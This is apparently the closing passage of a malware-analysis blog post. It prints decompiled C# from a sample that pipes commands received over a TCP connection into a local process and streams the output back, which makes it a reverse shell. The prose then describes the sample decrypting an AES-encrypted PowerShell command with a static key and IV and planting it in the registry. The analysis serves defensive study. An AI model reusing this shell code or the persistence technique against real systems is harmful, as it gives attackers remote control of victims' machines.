						stringBuilder.Append(streamReader.ReadLine());
						process.StandardInput.WriteLine(stringBuilder);
						stringBuilder.Remove(0, stringBuilder.Length);
					}
				}
				finally
				{
					if (streamReader != null)
					{
						((IDisposable)streamReader).Dispose();
						goto IL_156;
					}
					goto IL_156;
					IL_156:;
				}
			}
			finally
			{
				if (stream != null)
				{
					((IDisposable)stream).Dispose();
					goto IL_163;
				}
				goto IL_163;
				IL_163:;
			}
		}
		finally
		{
			if (tcpClient != null)
			{
				((IDisposable)tcpClient).Dispose();
				goto IL_170;
			}
			goto IL_170;
			IL_170:;
		}
	}

	// Token: 0x0600001C RID: 28 RVA: 0x0000277C File Offset: 0x0000097C
	private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
	{
		StringBuilder stringBuilder = new StringBuilder();
		bool flag = !string.IsNullOrEmpty(outLine.Data);
		if (flag)
		{
			try
			{
				stringBuilder.Append(outLine.Data);
				Program.streamWriter.WriteLine(stringBuilder);
				Program.streamWriter.Flush();
			}
			catch (Exception ex)
			{
			}
		}
	}

	// Token: 0x04000007 RID: 7
	private static StreamWriter streamWriter;

	// Token: 0x04000008 RID: 8
	private const int KEYEVENTF_EXTENDEDKEY = 1;

	// Token: 0x04000009 RID: 9
	private const int KEYEVENTF_KEYUP = 2;

	// Token: 0x0400000A RID: 10
	private const byte VK_INSERT = 45;
}

Here, we can see the malware implanting a Powershell command to the registry hive after decrypting it with a static key and IV.

mal1

The function here shows how the encryption was done. The variables seem to be base64 encoded and encrypted with AES using a static key and IV.

mal2

mal3

Decrypting it shows the Powershell command that was identified previously in the memory dump.

mal4

mal5

This post is licensed under CC BY 4.0 by the author.